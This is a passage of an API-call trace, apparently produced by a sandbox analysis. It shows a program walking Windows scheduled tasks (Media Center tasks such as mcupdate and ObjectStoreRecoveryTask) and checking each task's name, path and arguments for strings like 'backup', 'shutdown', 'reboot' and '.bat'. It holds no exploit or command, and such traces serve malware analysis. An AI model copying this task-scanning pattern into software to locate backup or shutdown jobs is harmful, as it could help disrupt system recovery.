(_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.297] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.297] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.297] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.297] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRecoveryTasks $(Arg0)") returned 0x0 [0221.298] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0221.298] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="reboot") returned 0x0 [0221.298] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="restart") returned 0x0 [0221.298] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="shutdown") returned 0x0 [0221.298] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="logoff") returned 0x0 [0221.298] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".bat") returned 0x0 [0221.298] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr="backup") returned 0x0 [0221.298] wcsstr (_Str="/dorecoverytasks $(arg0)", _SubStr=".cmd") returned 0x0 [0221.298] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.298] IUnknown:Release (This=0x2463788) returned 0x2 [0221.298] IUnknown:Release (This=0x2463788) returned 0x1 [0221.298] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.298] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.298] IUnknown:Release (This=0x2466490) returned 0x0 [0221.298] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.298] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ehDRMInit") returned 0x0 [0221.298] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.301] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e6ad0 [0221.301] wcsstr (_Str="ehdrminit", _SubStr="reboot") returned 0x0 [0221.301] wcsstr (_Str="ehdrminit", _SubStr="restart") returned 0x0 [0221.301] wcsstr (_Str="ehdrminit", _SubStr="shutdown") returned 0x0 [0221.301] wcsstr (_Str="ehdrminit", _SubStr="logoff") returned 0x0 [0221.301] wcsstr (_Str="ehdrminit", _SubStr=".bat") returned 0x0 [0221.301] wcsstr (_Str="ehdrminit", _SubStr="backup") returned 0x0 [0221.301] wcsstr (_Str="ehdrminit", _SubStr=".cmd") returned 0x0 [0221.301] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0221.301] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.305] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.305] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.305] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.305] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.306] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.306] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.306] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.306] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.306] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.306] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DRMInit") returned 0x0 [0221.306] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0221.306] wcsstr (_Str="/drminit", _SubStr="reboot") returned 0x0 [0221.306] wcsstr (_Str="/drminit", _SubStr="restart") returned 0x0 [0221.306] wcsstr (_Str="/drminit", _SubStr="shutdown") returned 0x0 [0221.306] wcsstr (_Str="/drminit", _SubStr="logoff") returned 0x0 [0221.306] wcsstr (_Str="/drminit", _SubStr=".bat") returned 0x0 [0221.306] wcsstr (_Str="/drminit", _SubStr="backup") returned 0x0 [0221.306] wcsstr (_Str="/drminit", _SubStr=".cmd") returned 0x0 [0221.306] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0221.306] IUnknown:Release (This=0x2463788) returned 0x2 [0221.306] IUnknown:Release (This=0x2463788) returned 0x1 [0221.306] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.306] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.306] IUnknown:Release (This=0x2466490) returned 0x0 [0221.306] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.306] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="InstallPlayReady") returned 0x0 [0221.306] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.308] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0221.308] wcsstr (_Str="installplayready", _SubStr="reboot") returned 0x0 [0221.308] wcsstr (_Str="installplayready", _SubStr="restart") returned 0x0 [0221.308] wcsstr (_Str="installplayready", _SubStr="shutdown") returned 0x0 [0221.308] wcsstr (_Str="installplayready", _SubStr="logoff") returned 0x0 [0221.308] wcsstr (_Str="installplayready", _SubStr=".bat") returned 0x0 [0221.308] wcsstr (_Str="installplayready", _SubStr="backup") returned 0x0 [0221.308] wcsstr (_Str="installplayready", _SubStr=".cmd") returned 0x0 [0221.308] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0221.308] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.312] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.312] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.312] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.313] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.313] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.313] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0221.313] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0221.313] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0221.313] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0221.313] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0221.313] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0221.313] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0221.313] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0221.313] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0221.313] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0221.313] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/InstallPlayReady $(Arg0)") returned 0x0 [0221.313] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0221.313] wcsstr (_Str="/installplayready $(arg0)", _SubStr="reboot") returned 0x0 [0221.313] wcsstr (_Str="/installplayready $(arg0)", _SubStr="restart") returned 0x0 [0221.313] wcsstr (_Str="/installplayready $(arg0)", _SubStr="shutdown") returned 0x0 [0221.313] wcsstr (_Str="/installplayready $(arg0)", _SubStr="logoff") returned 0x0 [0221.313] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".bat") returned 0x0 [0221.313] wcsstr (_Str="/installplayready $(arg0)", _SubStr="backup") returned 0x0 [0221.313] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".cmd") returned 0x0 [0221.313] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.313] IUnknown:Release (This=0x2463788) returned 0x2 [0221.313] IUnknown:Release (This=0x2463788) returned 0x1 [0221.313] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.313] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.313] IUnknown:Release (This=0x2466490) returned 0x0 [0221.313] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.313] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="mcupdate") returned 0x0 [0221.313] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.315] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0221.315] wcsstr (_Str="mcupdate", _SubStr="reboot") returned 0x0 [0221.315] wcsstr (_Str="mcupdate", _SubStr="restart") returned 0x0 [0221.315] wcsstr (_Str="mcupdate", _SubStr="shutdown") returned 0x0 [0221.315] wcsstr (_Str="mcupdate", _SubStr="logoff") returned 0x0 [0221.315] wcsstr (_Str="mcupdate", _SubStr=".bat") returned 0x0 [0221.315] wcsstr (_Str="mcupdate", _SubStr="backup") returned 0x0 [0221.315] wcsstr (_Str="mcupdate", _SubStr=".cmd") returned 0x0 [0221.315] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0221.315] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.320] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.320] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.320] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.320] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.320] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.320] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate") returned 0x0 [0221.320] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0221.320] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="reboot") returned 0x0 [0221.320] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="restart") returned 0x0 [0221.320] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="shutdown") returned 0x0 [0221.320] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="logoff") returned 0x0 [0221.320] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".bat") returned 0x0 [0221.320] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="backup") returned 0x0 [0221.320] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".cmd") returned 0x0 [0221.320] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.320] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="$(Arg0)") returned 0x0 [0221.320] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea488 [0221.320] wcsstr (_Str="$(arg0)", _SubStr="reboot") returned 0x0 [0221.320] wcsstr (_Str="$(arg0)", _SubStr="restart") returned 0x0 [0221.320] wcsstr (_Str="$(arg0)", _SubStr="shutdown") returned 0x0 [0221.321] wcsstr (_Str="$(arg0)", _SubStr="logoff") returned 0x0 [0221.321] wcsstr (_Str="$(arg0)", _SubStr=".bat") returned 0x0 [0221.321] wcsstr (_Str="$(arg0)", _SubStr="backup") returned 0x0 [0221.321] wcsstr (_Str="$(arg0)", _SubStr=".cmd") returned 0x0 [0221.321] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea488) returned 1 [0221.321] IUnknown:Release (This=0x2463748) returned 0x2 [0221.321] IUnknown:Release (This=0x2463748) returned 0x1 [0221.321] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.321] IUnknown:Release (This=0x2465ed8) returned 0x0 [0221.321] IUnknown:Release (This=0x2466490) returned 0x0 [0221.321] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.321] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="MediaCenterRecoveryTask") returned 0x0 [0221.321] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.322] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6cab08 [0221.322] wcsstr (_Str="mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0221.322] wcsstr (_Str="mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0221.322] wcsstr (_Str="mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0221.322] wcsstr (_Str="mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0221.322] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0221.322] wcsstr (_Str="mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0221.322] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0221.323] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0221.323] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.328] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.328] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0221.329] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.329] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.329] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.329] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0221.329] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2938 [0221.329] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0221.329] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0221.329] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0221.329] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0221.329] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0221.329] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0221.329] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0221.329] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0221.329] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-MediaCenterRecoveryTask") returned 0x0 [0221.329] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0221.329] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0221.329] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0221.329] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0221.329] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0221.329] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0221.329] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0221.329] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0221.329] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.329] IUnknown:Release (This=0x2463748) returned 0x2 [0221.329] IUnknown:Release (This=0x2463748) returned 0x1 [0221.329] IActionCollection:get_Item (in: This=0x24664d8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.329] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.329] IUnknown:Release (This=0x2463788) returned 0x1 [0221.329] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.329] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.329] IUnknown:Release (This=0x2466490) returned 0x0 [0221.330] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.330] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ObjectStoreRecoveryTask") returned 0x0 [0221.330] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.331] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6cab08 [0221.331] wcsstr (_Str="objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0221.331] wcsstr (_Str="objectstorerecoverytask", _SubStr="restart") returned 0x0 [0221.331] wcsstr (_Str="objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0221.331] wcsstr (_Str="objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0221.331] wcsstr (_Str="objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0221.331] wcsstr (_Str="objectstorerecoverytask", _SubStr="backup") returned 0x0 [0221.331] wcsstr (_Str="objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0221.331] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0221.331] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465f50) returned 0x0 [0221.337] ITaskDefinition:get_Actions (in: This=0x2465f50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.337] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0221.337] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0221.337] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.337] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0221.337] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0221.337] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2938 [0221.337] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0221.337] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0221.337] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0221.337] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0221.337] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0221.337] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0221.337] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0221.337] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2938) returned 1 [0221.337] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-ObjectStoreRecoveryTask") returned 0x0 [0221.337] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0221.337] wcsstr (_Str="-objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0221.338] wcsstr (_Str="-objectstorerecoverytask", _SubStr="restart") returned 0x0 [0221.338] wcsstr (_Str="-objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0221.338] wcsstr (_Str="-objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0221.338] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0221.338] wcsstr (_Str="-objectstorerecoverytask", _SubStr="backup") returned 0x0 [0221.338] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0221.338] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0221.338] IUnknown:Release (This=0x2463788) returned 0x2 [0221.338] IUnknown:Release (This=0x2463788) returned 0x1 [0221.338] IActionCollection:get_Item (in: This=0x24664d8, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.338] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0221.338] IUnknown:Release (This=0x2463748) returned 0x1 [0221.338] IUnknown:Release (This=0x24664d8) returned 0x1 [0221.338] IUnknown:Release (This=0x2465f50) returned 0x0 [0221.338] IUnknown:Release (This=0x2466490) returned 0x0 [0221.338] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2466490) returned 0x0 [0221.338] IRegisteredTask:get_Name (in: This=0x2466490, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURActivate") returned 0x0 [0221.338] IRegisteredTask:get_State (in: This=0x2466490, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0221.339] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f4358 [0221.339] wcsstr (_Str="ocuractivate", _SubStr="reboot") returned 0x0 [0221.339] wcsstr (_Str="ocuractivate", _SubStr="restart") returned 0x0 [0221.339] wcsstr (_Str="ocuractivate", _SubStr="shutdown") returned 0x0 [0221.340] wcsstr (_Str="ocuractivate", _SubStr="logoff") returned 0x0 [0221.340] wcsstr (_Str="ocuractivate", _SubStr=".bat") returned 0x0 [0221.340] wcsstr (_Str="ocuractivate", _SubStr="backup") returned 0x0 [0221.340] wcsstr (_Str="ocuractivate", _SubStr=".cmd") returned 0x0 [0221.340] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4358) returned 1 [0221.340] IRegisteredTask:get_Definition (in: This=0x2466490, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2465ed8) returned 0x0 [0221.344] ITaskDefinition:get_Actions (in: This=0x2465ed8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x24664d8) returned 0x0 [0221.344] IActionCollection:get_Count (in: This=0x24664d8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0221.344] IActionCollection:get_Item (in: This=0x24664d8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0221.344] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0221.344] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0221.344] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: 